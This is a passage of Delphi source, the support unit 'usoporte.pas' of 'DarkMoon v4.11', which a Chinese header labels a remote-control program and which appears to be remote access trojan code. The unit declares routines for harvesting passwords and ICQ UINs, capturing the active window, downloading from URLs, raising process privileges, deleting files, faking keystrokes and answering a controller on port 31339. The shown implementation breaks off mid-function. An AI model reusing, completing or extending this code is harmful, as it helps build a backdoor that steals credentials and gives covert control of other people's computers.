usoporte.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

////////////////////////////////////////////////////////////////////////////////
/////////////esta es mi SysUtils////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////

unit USoporte;

interface

uses winsock, windows;

var whandle : Thandle;

//{$EXTERNALSYM WSAIoctl}
function WSAIoctl( hSocket: TSocket; ControlCode:dword;
                   InBuf : Pointer; InBufLen:DWord;
                   OutBuf : Pointer; OutBufLen:DWord;
                   BytesReturned : PDWord;
                   lpOverlapped: POverlapped;
                   lpOverlappedRoutine:pointer) : Integer; stdcall;
//{$EXTERNALSYM WSASocket}
function WSASocket(Family, sType, Protocol : Integer;
                   lpProtocolInfo : Pointer;
                   Group : uint;
                   dwFlags : DWORD): TSocket; stdcall;

function WSAIoctl;          external     'ws2_32.dll' name 'WSAIoctl';
function WSASocket;         external     'ws2_32.dll' name 'WSASocketA';


function FindWindowsDir : string;
function Dame_Password( Password : String ) : String;
function Encriptar(const S: String ): String;
function Desencriptar( S: String ): String;
function Dame_Uin( Uin : String ) : String;
function LocalIP: String;
function VentanaActiva: String;
function Usuario: String;
function NombreHost: String;
function TextoValido( b :  Array of Char ):string;
function EsXP : Boolean;
function Descargar( url : String; Parametro2: String  ): boolean;
procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
function  BorrarArchivo( s: String ): Boolean;
procedure showm( s : String );
function GetCPUSpeed: real;
procedure CrearStats;
function FileExists( s : String ): Boolean;
function StrToInt64(const S: string): Int64;
function BuffToStr( const b : Array of Char ) : string;
function StrToInt(const S: string ): Integer;
function IntToStr(Value: Integer): string;
function StrPCopy(Dest: PChar; const Source: string): PChar;
function LowerCase(const S: string): string;
function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
function StrToIntDef(const S: string; Default: Integer): Integer;
function Trim(const S: string): string;
function UpperCase( S :String ): String ;
function Time : string;
function Date : string;
function stringtochar(st : string) : char;
function HexToInt(s: string): Longword;
function GenerarRandomString: String;
function Ocurrencias( const ss, s: String ): Integer;
function IpComoPalabra: String;
procedure PresionarTecla( key: Byte );
procedure Contestar( UDP : TSocket; cli : TsockAddr; S : String; tcp: Integer );

implementation

uses wininet, UThread;


procedure Contestar( UDP : TSocket; cli : TsockAddr; s : String; tcp: Integer );
begin
     cli.sin_port := htons( 31339 );
     if Tcp <> -1 then
        Send( tcp, Pointer( s + '